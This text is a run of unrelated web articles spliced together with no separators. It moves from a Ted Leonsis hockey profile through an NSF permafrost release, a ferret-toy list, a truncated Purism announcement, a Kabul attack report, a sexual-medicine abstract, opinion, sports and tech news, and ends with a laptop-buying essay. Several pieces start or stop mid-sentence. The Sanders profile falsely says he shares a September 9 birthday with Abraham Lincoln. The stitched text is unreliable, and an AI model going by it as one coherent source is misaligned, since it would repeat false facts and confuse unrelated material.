Possibly it’s time to hang a Caps banner above the monstrously huge urinal that resides in my basement. (And which could use one of those scented pucks, by the way.)
Back to Leonsis. He says this is bigger than winning, though winning would be good.
Recall the moment when Joe Namath took the New York Jets to the Super Bowl in 1969. Leonsis was there with his father and thus was imprinted with a sharp generational memory that recently brought him to tears. “If I can win a championship and make a memory that 50 years later makes a grown man cry because he remembers the time he was with his dad or his friend or his mom, I mean. What a job. What a business that is.”
Pension plans do not cry.
In its first season, ’74-’75, the Caps lost 67 games. Point total: 21. That’s not a misprint. In 1982, Abe Pollin set a team goal of selling out the first 10 home games and set a target for season’s ticket sales at 7,500.
This season, the Caps exited the month of March with 12 wins and three losses, one point behind the Philadelphia Flyers in the Eastern Conference. The team is on its way to a 100th consecutive home game sellout and, among U.S. teams, is second only to the Flyers in paid admissions. Overall NHL paid admissions standing: sixth.
The journey has been not smooth.
A decade ago, Leonsis assumed that there was some sort of prescribed business formula that would make hockey turn a profit. “I built a $100-billion company. Everything I touched did well. And then you get to sports and you press buttons that you’re accustomed to pressing, and it doesn’t work.”
You could say that one of the early buttons the team pressed was paying through the nose for Jaromir Jagr, whom they acquired from the Pittsburgh Penguins in 2001 and handed a seven-year, $77 million contract. “It was a big deal,” Leonsis recalls. “When he arrived at the airport there were 3,000 people who went to the airport. There was a police escort of Jagr from the airport to here. When it didn’t work out, all 3,000 people who were there wrote me emails and said ‘I knew this wouldn’t work.’”
What Leonsis calls the “freak out and leave” strategy wasn’t an option.
Leonsis has his take, framed by life experiences.
The poor kid born to Greek immigrant parents grew up in Brooklyn, N.Y., and Lowell, Mass., and knew Dicky Eklund, “The Pride of Lowell” boxer made tragically infamous by Christian Bale’s Oscar-winning performance in the film The Fighter. “The Fighter was a romanticized view of Lowell. Lowell,” says Leonsis, “was not a place you would want to hang around in.”
There was the job in the vinyl moulding factory. And the dress factory, where Leonsis worked as a sweeper and dress steamer and ended his shift only after cleaning the women’s washrooms.
Leonsis’s father was a waiter and it was a tough task to squirrel away the dough — seven bucks a ticket — to take his son to those Jets games.
The son’s business trajectory was like a vapour trail, especially marked by the sale of his Redgate Communications in the fall of 1993 to AOL. Leonsis’s 13 years at AOL made him a millionaire many times over. Putting aside the company’s ultimate merger with Time Warner — “Consistently described as the worst merger in the history of mankind, so yes I’ve experienced failure” — the AOL years were reputation making.
“The irony of it,” says Leonsis, “is that I was chairman and president of AOL, a company valued at $150 billion. And people cared about it. But no one would cry 50 years later thinking, remember that welcome screen on AOL 3.0?”
Business success waxes and wanes.
Sports memories are engraved forever.
Of course he wants to win the cup.
“Every year you want to think you are a competitor for a Stanley Cup,” he says. “You just have to feel that. That has to drive you. I’ve come to learn that the playoffs are so different from the regular season, and that luck plays a big part in things, health plays a big part in things, a hot goaltender plays a big part in things, officiating plays a big part in things.”
The Caps lost in the first round of the playoffs last year.
So Leonsis ceaselessly markets the franchise. In person.
His face is there on the Caps website. He posts to his Ted’s Take blog daily, usually multiple times on many topics. By 10 a.m. he has answered 60 emails.
Pension plans do not blog.
Another point about beer. So the guys were complaining about the urinals because, apparently, when you approach a urinal with what I am told is often two beer in hand, it is awkward. Who wants to put a cup of beer on the floor?
I hear you.
So Leonsis figured out a way to have a ledge installed at the top of the urinals so beer-toting men would find it easier to pee.
Guinness. You can get a Guinness at the Verizon, which would go nicely with a smoked beef brisket sandwich, which you can also get.
Leonsis is accessible. He seems to know every soul in this town. He addresses military brass and families one evening, and young entrepreneurs the next. He throws his weight behind such philanthropic endeavours as D.C. Central Kitchen, which marries cook’s training to the distribution of food to the poor in the capital. It’s a phenomenal program. He mentors inner city kids. He has many very rich friends who are very unhappy. Happiness is a higher calling. Money? “If I wanted to make more money I would have invested more money in Groupon,” he says of the Chicago-based group-buying phenomenon. Leonsis was an early investor.
Do the Caps make money? “On a cash basis? We’re not profitable,” Leonsis admits. “We’ve never been profitable. We’re really close…. The building makes money and the Caps and the Wizards lose money and in the aggregate we’re pretty much breaking even.”
The Leafs are in a league of their own. “You’re in the Vatican of hockey. It’s the Vatican,” Leonsis practically bleats of Toronto’s enviable position. “I can never take a day of support for granted here.”
In that, Ted Leonsis may have put his finger on precisely the problem.News Release 14-085
Certain Arctic lakes store more greenhouse gases than they release
New research contradicts long-held assumption about the role of thermokarst lakes
A thermokarst lake, which occurs as permafrost thaws and creates surface depressions.
July 16, 2014
This material is available primarily for archival purposes. Telephone numbers or other contact information may be out of date; please see current contact information at media contacts.
New research, supported by the National Science Foundation (NSF), counters a widely-held scientific view that thawing permafrost uniformly accelerates atmospheric warming, indicating instead that certain Arctic lakes store more greenhouse gases than they emit into the atmosphere.
The study, published this week in the journal Nature, focuses on thermokarst lakes, which occur as permafrost thaws and creates surface depressions that fill with melted fresh water, converting what was previously frozen land into lakes.
The research suggests that Arctic thermokarst lakes are "net climate coolers" when observed over longer, millennial, time scales.
"Until now, we've only thought of thermokarst lakes as positive contributors to climate warming," said lead researcher Katey Walter Anthony, associate research professor at the University of Alaska Fairbanks Institute of Northern Engineering. "It is true that they do warm climate by strong methane emissions when they first form, but on a longer-term scale, they switch to become climate coolers because they ultimately soak up more carbon from the atmosphere than they ever release."
The researchers observed that roughly 5,000 years ago, thermokarst lakes in ice-rich regions of North Siberia and Alaska began cooling, instead of warming the atmosphere.
"While methane and carbon dioxide emissions following thaw lead to immediate radiative warming," the authors write, "carbon uptake in peat-rich sediments occurs over millennial time scales."
Using published data from the circumpolar Arctic, their own new field observations of Siberian permafrost and thermokarsts, radiocarbon dating, atmospheric modeling and spatial analyses, the research team studied how thawing permafrost is affecting climate change and greenhouse gas emissions.
Researchers found that "thermokarst basins switched from a net radiative warming to a net cooling climate effect about 5,000 years ago," according to their article, published online today. They found that high rates of carbon accumulation in lake sediments were stimulated by several factors, including "thermokarst erosion and deposition of terrestrial organic matter, nutrient release from thawing permafrost that stimulated lake productivity, and by slow decomposition in cold, anoxic lake bottoms."
"These lakes are being fertilized by thawing yedoma permafrost," explained co-author Miriam Jones, a research geologist for the U.S. Geological Survey. Yedoma is a type of permafrost that is rich in organic material. "So mosses and other plants flourish in these lakes, leading to carbon uptake rates that are among the highest in the world, even compared to carbon-rich peatlands."
The study also revealed another major factor of this process: when the lakes drain, previously thawed organic-rich lake sediments refreeze. The new permafrost formation then stores a large amount of carbon processed in and under thermokarst lakes, as well as the peat that formed after lake drainage.
Researchers note that the new carbon storage is not forever, since future warming will likely start re-thawing some of the permafrost and release some of the carbon in it via microbial decomposition.
As roughly 30 percent of global permafrost carbon is concentrated within 7 percent of the permafrost region in Alaska, Canada and Siberia, this study's findings also renew scientific interest in how carbon uptake by thermokarst lakes offsets greenhouse gas emissions. Through its data collection, the study expanded the circumpolar peat carbon pool estimate for permafrost regions by more than 50 percent.
NSF contributed to the research through an award made during International Polar Year (IPY), an international deployment of scientists from more than 60 nations to the Polar regions. NSF was the lead U.S. agency for the IPY. This international collaboration also received funding or support from the Alfred Wegener Institute, the University of Alaska Fairbanks, and the U.S. Geological Survey.
-NSF-
Media Contacts
Rob Harper, University of Alaska Fairbanks, (907) 474-7877, email: jharper11@alaska.edu
Peter West, NSF, (703) 292-7530, email: pwest@nsf.gov
Principal Investigators
Katey Walter Anthony, University of Alaska Fairbanks, (907) 474-6095, email: kmwalteranthony@alaska.edu
Co-Investigators
Guido Grosse, University of Alaska Fairbanks, 49-331-288-2150, email: guido.grosse@awi.de
The National Science Foundation (NSF) is an independent federal agency that supports fundamental research and education across all fields of science and engineering. In fiscal year (FY) 2019, its budget is $8.1 billion. NSF funds reach all 50 states through grants to nearly 2,000 colleges, universities and other institutions. Each year, NSF receives more than 50,000 competitive proposals for funding and makes about 12,000 new funding awards.
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Awards Searches: https://www.nsf.gov/awardsearch/1. Super Through Way By Marshall- One of the top ferret toys, the Super Through Way is made specifically for ferrets, and contains tunnels that your pet will love to travel through.
2. Kong Toy For Ferrets- Part of good ferret care means keeping your pet amused, and the Kong toy is almost impossible for your animal to destroy. Treats can also be placed inside the toy for an even bigger treat and more fun.
3. Super Pet Crinkle Tunnel- The Super Crinkle Tunnel is another toy that offers your ferret places to hide and an environment that they enjoy. Ferrets love small spaces, and this toy can provide all the entertainment your pet wants.
4. Ferretrail Playground Kit By Super Pet- This kit is one of the top ten ferret toys, and the kit comes with several components that combine to create a complete playground for your pet. Your ferret will spend hours playing in this kit, and may not want to leave.
5. Tumble Toy For Ferrets- Ferrets as pets are social animals, and play is important. The Tumble Toy for ferrets is a plush stuffed toy that is designed to be easy for your pet to grab and hold, so they can enjoy playtime.
6. Interactive Teaser Toy By Marshall- A bell, a string, and a furry object combine to make this toy one of the top ten, an a favorite for many ferrets.
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10. Super Pet Shake Rattle And Roll- More fun than a ferret hammock, this toy package includes three bouncy balls which reach incredible heights. Each ball has an indent so that your ferret can hold them easily.SAN FRANCISCO, August 30, 2016 — Purism is pleased to announce the creation of its Advisory Board, comprised of top-tier experts from the Free Software community: Kyle Rankin, Matthew Garrett, Aaron Grattafiori, and Stefano Zacchiroli. Together, they bring their vision—with decades of experience in cybersecurity, privacy protection, and digital freedom—to Purism’s product development, as the company continues to create products that finally address privacy and digital rights by default, rights that 86% of computer users cite as a concern.
“We are honored to partner with these industry experts I respect and have learned so much from,” said Purism CEO, Todd Weaver. “I look forward to their guidance during our tremendous growth, deepening our industry partnerships, launching new products and services, expanding into new markets, and addressing new customer needs.”
Kyle Rankin will chair the board and advise Purism in secure defaults, best practices in user security tools, privacy tools, and software choices that respect freedom. Kyle is a hardcore sysadmin and prolific author on security, privacy, GNU/Linux, free/libre and open source software, and speaks regularly on these matters.
“I’ve been following Purism since the beginning of their Librem 15 campaign and reviewed both it and the Librem 13 prototypes early on. I |
there was a graduation ceremony going on for new recruits when the suicide bomber detonated himself," Azimy said.
The security agency attacked is responsible for protecting government ministers and VIPs.
A police spokesman, Basir Mujahid, told Al Jazeera that the gunfight was ongoing, as Afghan special forces rushed to the scene.
"The Taliban are still fighting with the security forces," Mujahid said.
Fighting season
In a statement, the Presidential Palace condemned the attack "in the strongest possible terms".
"The explosion has caused a lot of damage to the government," Zabihullah Mujahid, a Taliban spokesman, told Al Jazeera.
The US embassy said it was not affected by the blast. The NATO military coalition also said it was unaffected.
The Taliban last week announced the start of their "spring offensive" even as the government in Kabul tried to talk them back to the negotiating table in a bid to end the country's drawn-out conflict.
In a statement, the group warned it would "employ large-scale attacks on enemy positions across the country", dubbing the offensive Operation Omari after the movement's late founder Mullah Omar.
Since then, fighting has raged around the symbolically-important northern city of Kunduz, which fell briefly to the Taliban last September.
The annual spring offensive normally marks the start of what is referred to as fighting season, though this past winter the usual lull was shorter as the group continued to battle government forces, though with less intensity.
Peace talks that began last summer were abruptly stopped after it was revealed that Taliban leader Mullah Omar had been dead for two years, a disclosure which sparked infighting in Taliban ranks.
With additional reporting by Shereena QaziINTRODUCTION:
The projection of vagina, uterine cervix, and nipple to the sensory cortex in humans has not been reported.
AIMS:
The aim of this study was to map the sensory cortical fields of the clitoris, vagina, cervix, and nipple, toward an elucidation of the neural systems underlying sexual response.
METHODS:
Using functional magnetic resonance imaging (fMRI), we mapped sensory cortical responses to clitoral, vaginal, cervical, and nipple self-stimulation. For points of reference on the homunculus, we also mapped responses to the thumb and great toe (hallux) stimulation.
MAIN OUTCOME MEASURES:
The main outcome measures used for this study were the fMRI of brain regions activated by the various sensory stimuli.
RESULTS:
Clitoral, vaginal, and cervical self-stimulation activated differentiable sensory cortical regions, all clustered in the medial cortex (medial paracentral lobule). Nipple self-stimulation activated the genital sensory cortex (as well as the thoracic) region of the homuncular map.
CONCLUSION:
The genital sensory cortex, identified in the classical Penfield homunculus based on electrical stimulation of the brain only in men, was confirmed for the first time in the literature by the present study in women applying clitoral, vaginal, and cervical self-stimulation, and observing their regional brain responses using fMRI. Vaginal, clitoral, and cervical regions of activation were differentiable, consistent with innervation by different afferent nerves and different behavioral correlates. Activation of the genital sensory cortex by nipple self-stimulation was unexpected, but suggests a neurological basis for women's reports of its erotogenic quality.
© 2011 International Society for Sexual Medicine.This post was last updated on January 29th, 2019
I’m not a religious person. There was a time where I actually practiced my religion, but I was never conservative in my views. I do love my religion, though, and having studied Islamic Studies and worked with historical texts, I do feel quite qualified to make statements about Islam.
Even though during the early times of Islam there was, obviously, no concept such as veganism that doesn’t mean that it is un-Islamic, as many people seem to think.
On the contrary, I believe that animal agriculture is, at its core, completely opposed to the principles of Islam. That does not mean that I consider Muslims who eat meat to be bad Muslims. However, what I do find un-Islamic is the way in which this subject is being ignored and treated as a taboo by mainstream Muslims. (The same can essentially be said for other religious groups, but, as a Muslim, I will only comment on the Muslim community.) It can easily be argued that ignoring the problems caused by animal agriculture is contributing to them. That means:
– loss of habitat,
– world hunger,
– climate change,
– animal cruelty,
– greenhouse gases,
– water shortage,
– species extinction.
All these are direct consequences of the human consumption of animal products, and I have yet to see a convincing argument from within the Muslim community that makes any of these things acceptable in Islam. The sole argument that is brought up in favor of consuming animal products is that, according to the Qur’an, it’s allowed. I’m not going to bore you with the principles of Islamic law, but, suffice it to say, that just because something is permissible doesn’t make it advisable, let alone mandatory, especially if the circumstances change. The vast majority of Muslims will consider slavery un-Islamic, despite the fact that the Qur’an clearly allows it. Why is that? Because Muslims (scholars and non-scholars alike) have come to understand that something that was allowed during the time of the Prophet Muhammad does not need to be allowed in the 21st century, especially if it is proven to be harmful and oppressive. Unfortunately, people tend to pick and choose which things we can do away with and which things are supposedly an undeniable aspect of Muslim identity.
It all comes down to convenience. It is simply more convenient for people (Muslim or not) who grew up consuming animal products to continue to do so. Going vegan takes commitment, a commitment that most people simply don’t wish to make. People then become defensive when this is pointed out to them, and, in the case of Muslims, this ends in the tired old argument that we “should not make haram what is halal.” And this is how the Muslim community has managed to go from one of the most advanced civilizations to one that lags behind in technology, human rights, education, and pretty much every aspect of human life. If the early Muslims had used those same excuses they would not have advanced in medicine and other fields of science.
During the Islamic Golden Age, Muslims were not afraid to learn from other cultures, and so they translated and thereby preserved ancient Greek texts. Today’s Muslims are dealing with an inferiority complex caused by more than a hundred years of colonialism, and they consider everything that was not part of the early Muslim community’s lifestyle to be detrimental to the state of Islam. They choose to stay closed-minded on issues for fear of losing their identity.
But I digress. Just like veganism, minimalism and ethical fashion carry distinct “Islamic” features.
Amassing copious amounts of items that are not being used on a regular basis is one of the biggest distractions from the more important things in life.
As far as ethical fashion goes, contributing to the oppression of other people (and for something unnecessary at that) is not even remotely acceptable in Islam. Yes, we like to not look into things and therefore might not be aware of the problems our own consumerism is causing. However, we are, as Muslims, advised to read and seek knowledge, so ignorance can only be an excuse for so long.
This is not meant to be a “holier than thou” post. Rather, it is meant to be an explanation of why I think Muslims, especially those who care about social issues, should be more active in the fields of veganism, ethical fashion, and minimalism. If Muslim facebook groups can share post after post about the burkini ban in France, which doesn’t threaten anyone’s survival, maybe we can start talking about the fact that animal agriculture and fast fashion are two of the most harmful industries on our planet.
I leave you with a quote from the Qur’an, which is perhaps overused in these discussions but is important to remember nonetheless:New Westminster police are hoping the public can lend a hand identifying the suspect in a break-and-enter last month.
The theft happened in the 500 block of Royal Avenue on Oct. 14 around 2 p.m. Police believe the lone suspect entered a ground-floor apartment by prying open the sliding door. None of the residents were home at the time. The suspect, who was caught on a security camera inside the unit, stole several items before fleeing, according to a media release.
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Police say the suspect has a light complexion and is clean shaven. He was wearing a white T-shirt, a dark-coloured vest with a New York Yankees logo on the front and a baseball cap. He was also wearing a glove on his right hand.
Anyone who recognizes the suspect is asked to contact Det. Sweet at 604-525-5411.Evidence of the nation’s opioid addiction problem is not only being found in emergency rooms.
It’s also being noticed in maternity wards, especially those in rural areas in the United States.
A study in JAMA Pediatrics reports that the number of babies born with drug withdrawal symptoms from opioids has increased substantially more in rural areas than in cities.
The research coincides with a report last week from the U.S. Centers for Disease Control and Prevention (CDC) that unveiled overdose deaths from prescription and illegal opioids increased once again last year.
That addictive trend, researchers say, is affecting pregnant woman and their unborn babies, especially those in lower income households.
“The opioid epidemic has hit rural communities especially hard, and we found that these geographical disparities also affect pregnant women and infants,” Dr. Nicole Villapiano, a lead author of the study, and a pediatrician at the University of Michigan’s C.S. Mott Children’s Hospital, said in a press release.
Read more: Treating pain inside the opioid epidemic »
Impact on babies
The study’s researchers reported that the rate of newborns diagnosed with neonatal abstinence syndrome (NAS) increased in rural areas from about 1 case per 1,000 in 2003-2004 to more than 7 cases per 1,000 in 2012-2013.
That surge was 80 percent higher than the increase in urban areas.
In addition, the researchers reported infants born in rural areas now account for more than 21 percent of NAS cases nationwide compared to nearly 13 percent in 2003.
They also found that in 2012 opiate use by pregnant women in rural counties was 70 percent higher — 8 per 1,000 childbirth hospitalizations compared to 4.8 hospitalizations in urban counties.
Researchers noted that people in urban areas tend to have better access to treatment and addiction services.
Babies born with NAS are more likely to have seizures and low birth weight as well as breathing, sleeping, and feeding problems.
Dr. Larissa Mooney, an assistant clinical professor of psychiatry at the University of California Los Angeles (UCLA), and director of the UCLA Addiction Medicine Clinic, told Healthline the new study “highlights an important aspect of the opioid epidemic.”
She said the rise in withdrawal symptoms in infants is almost certainly tied to the increase in opioid and heroin use in rural areas.
Mooney added that access to treatment needs to be expanded in rural areas. This includes both preventative education to expectant mothers on opioid use, as well as treatment for pregnant women who are already addicted to prescription drugs.
Mooney, a board certified addiction psychiatrist, said women who receive treatment and education are also more likely to engage in other healthy prenatal practices.
“We need to be proactive,” she said.
Read more: Prescription drugs lead to heroin addictions »
Opioid overdose deaths
Mooney said there is a correlation between the increase in NAS cases and the CDC report on opioid overdose deaths.
That report noted that more than 33,000 people in the United States died from opioid painkillers in 2015. That’s almost 100 a day.
In particular, the death rate for illegally obtained opioids such as fentanyl — the drug involved in the death of the singer Prince – jumped by 73 percent last year.
By comparison, the death rate involving legal prescription opioids rose by 4 percent.
Federal officials said the lower mortality rate for prescription pills suggests recent efforts to reduce opioid addiction are making progress.
Mooney agreed with that assessment.
She said there has been more media attention and patient education about the potential dangers of opioids.
She added new CDC guidelines on painkiller prescriptions have helped physicians better understand the problem.
Mooney said views are changing on prescribing opioids for less serious pain as well as prescribing them for long-term chronic pain.
She said there is now a trend to use opioids only for short-term acute pain.
“The message is becoming more clear,” she said. “We really need to change our approach to treating pain.”
She added when opioids are required, physicians should be careful when prescribing.
“You should start low and go slow,” Mooney said.
She said the overall strategy should be similar to the one for mothers in rural areas.
Access to treatment should be increased as should education for patients and physicians.
The “gold standard” for addiction treatment, she noted, is the use of other, less harmful drugs such as methadone.
Mooney added the $1 billion for opioid addiction programs included in the 21st Century Cures Act approved last week by Congress is a step in the right direction.
“Our approach should be similar to other epidemics,” she said.
Read more: ‘Pill mill’ doctors prosecuted amid opioid crisis »Etihad Stadium will continue to be the home of the Melbourne Renegades in the KFC Big Bash, with the club announcing a new multi-year venue agreement.
The new agreement will see the Renegades play at Etihad Stadium for the next five years – until the end of the BBL|10 season.
Both the Renegades' BBL and WBBL sides will have matches scheduled at the stadium over that time.
Quick Single: Johnson's BBL future confirmed: reports
Melbourne Renegades CEO Stuart Coventry said he was delighted to be able to commit to remaining at Etihad Stadium.
"Etihad Stadium has been a terrific partner over the first five years of the Big Bash League which has been a period of incredible growth for both the league and the Renegades," Coventry said.
"We're really pleased that we can continue our relationship with Etihad Stadium as we aim for finals success in the seasons to come.
"We're in a unique position in having the only stadium in the league where our members and fans are guaranteed to see their favourite BBL or WBBL players in action rain, hail or shine.
"We're committed to bringing the best match night entertainment to our fans and Etihad Stadium gives us the platform to deliver that summer fun to families."
Etihad Stadium CEO Michael Green said he was pleased to work on the next era with the club.
"We are delighted to extend our relationship with the Melbourne Renegades, which will see their BBL and WBBL home games played at Etihad Stadium over the next five seasons," Green said.
"We congratulate Stuart Coventry and his team, as well as Cricket Victoria and Cricket Australia for the extremely astute manner they have showcased the Big Bash League not only at Etihad Stadium but all around Australia.
"We believe Etihad Stadium generates a magnificent atmosphere for T20 cricket and we are a tremendous fit for the Melbourne Renegades.
"We wish the Renegades all the very best for the upcoming season and look forward to plenty of big hitting, great attendances and exciting performances from the Reds."
Renegades' BBL|06 Fixtures
Dec 22: Melbourne Renegades v Sydney Thunder (Etihad Stadium) 7.40pm
Dec 29: Melbourne Renegades v Perth Scorchers (Etihad Stadium) 7.10pm
Jan 7: Melbourne Renegades v Melbourne Stars (Etihad Stadium) 7.10pm
Jan 12: Melbourne Renegades v Hobart Hurricanes (Etihad Stadium) 7.40pm
Renegades' WBBL|06 Fixtures
Dec 29: Perth Scorchers v Melbourne Renegades (Etihad Stadium) 2.10pm
Jan 7: Melbourne Renegades v Melbourne Stars (Etihad Stadium) 2.10pmBernie vs the super-rich
Bernie! Bernie! The chant grows in its frequency and intensity as Bernie Sanders briskly climbs on stage in electoral rallies in the United States. Considered an outsider due to his socialist and anti-war rhetoric, Sanders is now the most eagerly awaited and watched candidate for the Democratic Party nomination preceding the November 8 presidential election.
At 74, Sanders is the oldest amongst the presidential hopefuls and, interestingly, shares his September 9 date of birth with Abraham Lincoln. He comes from a family of Polish immigrants; his father earned his livelihood from selling paint. Growing up in a struggling working-class family, Bernie witnessed America’s economic disparity. “I saw unfairness. That was the major inspiration in my politics,” he said in a newspaper interview.
Sanders became involved in the Civil Rights Movement during his university days in Chicago. After finishing college in 1964, he lived on a kibbutz in Israel before settling in the state of Vermont. He tried different jobs like filmmaker and writer before gradually moving on to politics. His first success came at the age of 40, when he was elected mayor of Burlington, Vermont. Bernie has never looked back; he was elected as a Congressman in 1990 as an independent but moved closer to the Democrats.
Yet, Sanders criticised both parties whenever he felt they were in the wrong. He was a vocal opponent of the invasion of Iraq on moral and economic grounds. Even though he endorsed the war in Afghanistan, upon reconsideration, he said that he would vote against it. After several terms in the House of Representatives, Bernie, a self-described democratic socialist, contested the Senate election in 2006, beating Republican tycoon Richard Tarrant in the process, who had spent $7 million of his personal wealth on the campaign.
Bernie’s years in the Senate have been marked by his criticism of a system that constantly favours the rich to the detriment of America’s diminishing middle class. More recently, and especially after entering the presidential race, Sanders has relentlessly attacked the growing accumulation of wealth amongst the “one-tenth of one percent” of Americans.
The long-time independent senator joined the Democratic Party in April 2015, when he announced that he was entering the presidential campaign. Pundits thought that Bernie did not have much of a chance to upstage the party favourite, Hillary Clinton, but that is exactly what has happened in recent weeks. Bernie is no longer the underdog; rather, he is the leading contender.
America and even the world at large is rushing to understand Bernie’s election manifesto for the world’s premier power and bastion of democratic capitalism. According to Wendy Mead, the writer of a biographical sketch of Sanders, his platform focuses on economic inequality. Mead writes: “He favours tax reform that increases rates for the wealthy, greater governmental oversight of Wall Street and balancing the disparity of wages for men and women. He also believes in a state-administered health care system, more affordable higher education and an expansion of the Social Security, Medicare and Medicaid systems.”
Sanders appears particularly determined to take on the pharmaceutical and insurance companies, which are raking in billions in profits that he claims are stashed in offshore accounts to evade taxes. He has taken up the issue of discrimination on the basis of race and gender. For instance, he claims that the real unemployment rate amongst African-Americans is close to 50 percent and that one out of four African-American men face the prospect of ending up in jail.
Bernie’s speeches are full of unpleasant facts and statistics to show how unfair the US economic system has become, with the rich getting richer and the poor getting poorer. The US has the highest proportion of people in jails and 29 percent of the people do not have health insurance. He reminded the voters that despite their illegal actions, the people bailed out Wall Street and it is now their turn to help in providing free education in public universities and making college more affordable in general.
Bernie has turned the tables on the party establishment’s candidate, Hillary Clinton. The system of super delegates gives Hillary a chance to clinch the nomination but, if Bernie’s popular lead remains, the establishment may just have to accept the people’s preference. The fury unleashed by the Hillary-Bernie duel has overshadowed Donald Trump’s maverick behaviour in the Republican camp.
The phenomenal rise of Sanders has resulted in a situation in which the Democratic nomination battle seems like a presidential election. The Republicans can hardly digest the fact that, of all people, a Democratic socialist will further diminish their chances of getting to the White House after eight years of Obama’s presidency. Sanders’ campaign strategist Tad Devine explains this success by saying, “The message that has made him a serious contender is the economy that is rigged, and that rigged economy is held in place by a corrupt system of finance. The result is enormous income inequality. That is where the votes are.”
Serious questions remain about Sanders’ ability to deliver on his promises if he is elected president. Hillary promises a more measured approach towards goals in the social sector. She represents reason, in contrast with Bernie’s passion.
The race is open, but Bernie is no longer the underdog. Responding to Hillary’s doubts about accomplishing his agenda, Bernie said that his victory will be a historical accomplishment in itself. The race has truly taken off.
Email: [email protected]They were assigned to different locations in France 65 years ago, but today, five Louisiana veterans will be together at the New Orleans Museum of Art to receive France's highest distinction for their service during World War II.
Ivan J. Breaux of Kaplan, John Copes of Baton Rouge, William Haar of Metairie, Frank H. Walk of New Orleans and Richard Whaley of Lafayette will receive the Legion of Honor, a French order established by Napoleon Bonaparte.
Olivier Brochenin, the consul general of France in New Orleans, will bestow the honor at a ceremony preceding a reception for Bastille Day, the French national holiday. Two other veterans, Voorhies Dewailly and Warren Butcher, also will receive the award but cannot attend the ceremony.
The veterans are being honored for their contributions to the liberation of France, Brochenin said.
Copes was an engineering officer who participated in the Battle of the Rhine in 1945. He was later wounded and evacuated in Steinfeld, Germany.
Breaux was an aircraft mechanic stationed at Beaumont-sur-Oise, France.
Walk participated in the D-Day invasion of Omaha Beach in 1944 and was promoted to the rank of major, then lieutenant colonel.
Harr saw combat as a soldier in Normandy, northern France and Brest, where he was wounded in 1944.
Whaley was a first lieutenant who flew 32 combat missions as a pilot and commander.
All of them have been recognized for their deeds with other awards and two, Copes and Haar, are recipients of the Purple Heart.
Brochenin said the significance of their efforts becomes more impressive as time goes on and fewer people have firsthand memories of the war.
"The sacrifice of these soldiers is unbelievable," Brochenin said.
The National Order of the Legion of Honor was founded by Napoleon in 1802 to pay tribute to military officials who had served France. Today, French citizens can receive the honor for military or civil work. But it has been extended to noncitizens for outstanding work, including World War II veterans.
“There will be no other, better way for the French republic to show how much we appreciate (them),” Brochenin said.
And there is no better day, Brochenin said, than the French national holiday.
“The national day of France, which is the most important day for the French people... I think that day is the best to pay tribute,” he said.
Every year, the consul general proposes a list of veterans to the ministry. With the ministry’s feedback and agreement, the consulate organizes a decoration ceremony.
On Veterans Day last year, five veterans received the honor, including two posthumously, at an event at the National World War II Museum. In June 2009, three Louisiana veterans traveled to Normandy and were awarded the honor by French President Nicholas Sarkozy. Several others received the award in 2008 in New Orleans from the French ambassador to the United States.
Copes, who went on to become a mechanical engineer after returning from France, said he was appreciative of receiving the Legion of Honor.
“I think it’s an outstanding award and recognition of what happened in World War II,” he said.
Masako Hirsch can be reached at mhirsch@timespicayune.com or 504.826.3330.Ford CEO Alan Mulally, seeking to end speculation over a possible move to Microsoft, told the Associated Press on Monday that he will not become the software company's next CEO.
There had been rumors that the 68-year-old chief executive was on the short list to succeed Steve Ballmer at Microsoft.
"I have no other plans to do anything other than serve Ford," Mulally said in an interview.
[ Find your 2017 salary info and our detailed report at IT Salary Watch ]
That is, at least until 2014. Ford announced a plan in 2012 that would keep Mulally in his position as CEO through the end of next year, the AP reported.
Mulally is sticking with the plan to stay with Ford at least through the end of 2014, he told the AP. He didn't say whether he talked to Microsoft about becoming CEO, but he said the speculation was a distraction for the car company.
Microsoft announced this past August that Ballmer would be retiring in the next 12 months, in a surprising move just weeks after the executive crafted a business reorganization strategy. Since then, questions have swirled over who would replace him.
Besides Mulally, other possible candidates named have included IT industry executives, many of whom are current or former high-ranking Microsoft executives. Among them: Satya Nadella, executive vice president of Microsoft's Cloud and Enterprise Division; Kevin Turner, the company's chief operating officer; and Stephen Elop, Nokia CEO and former division president at Microsoft.
Outsider names have included Sheryl Sandberg, Facebook's COO, and Jon Rubinstein, who was CEO of Palm before it was sold to HP.
Microsoft's new CEO will face tough challenges to turn around the company, which has seen its strength diminish as software and hardware makers including Apple and Google have grown.
Ballmer has been at Microsoft since 1980 and has been CEO since 2000.
Zach Miners covers social networking, search and general technology news for IDG News Service. Follow Zach on Twitter at @zachminers. Zach's e-mail address is zach_miners@idg.comAside from a few months with the "lamp" iMac and a brief affair with Linux, I grew up exclusively using Windows. That changed in 2011, when I traded my aging Sony Z1 laptop for a MacBook Pro. After just a year with macOS, I became the type of person who uses a MacBook, iPad and iPhone, and never really considered anything else. And so I watched last fall's MacBook Pro announcement with great interest.
I was hoping to upgrade from my mid-2015 15-inch Pro, which, even when I bought it, was a little long in the tooth. But what Apple offered up was far from what I wanted. The Touch Bar seemed, and still seems, less convenient than function keys for someone used to keyboard shortcuts; the dearth of ports bothered me a little too, but it was the marginal CPU and GPU improvements that really stung, and the sharp like-for-like price increases only compounded my decision: It was time to look beyond Apple, and back to Microsoft, for my next laptop.
This might sound strange if you've never been immersed in Apple's hardware ecosystem, but buying a new Windows machine can be a little scary. There is so much choice, so many different factors to consider. Even among Microsoft's hardware options, you find vastly different takes on what a PC even is. I began asking myself what I actually wanted from a laptop; I'd spent so long letting Apple dictate a narrow set of options, I wasn't really sure.
So I made a little checklist for what I needed. I travel a fair amount, so portability is quite important: I didn't want anything heavier than my 4.5-pound MacBook. Battery life isn't a huge concern for me -- I only need enough juice to get me from outlet to outlet, and perhaps see me through the occasional live blog. In terms of ports, USB, USB-C, HDMI and an SD slot would be ideal. Performance is by far the most important factor for me: I have Photoshop running near-permanently, I like training neural networks to do stupid things and I also use InDesign, Premiere and Illustrator very regularly.
Then there's gaming. The switch to Windows would grant me access to a giant library of games -- should gaming performance be a consideration too?
I looked at tons of machines, but none of them were really a good fit. The front-runners were the Surface Book, which is immaculate but too small, and Dell's XPS 15, which is super-portable but not quite powerful enough for my needs. It soon became clear that, at least in terms of performance, a gaming laptop was perfect for someone switching from a "Pro" Apple system to Windows.
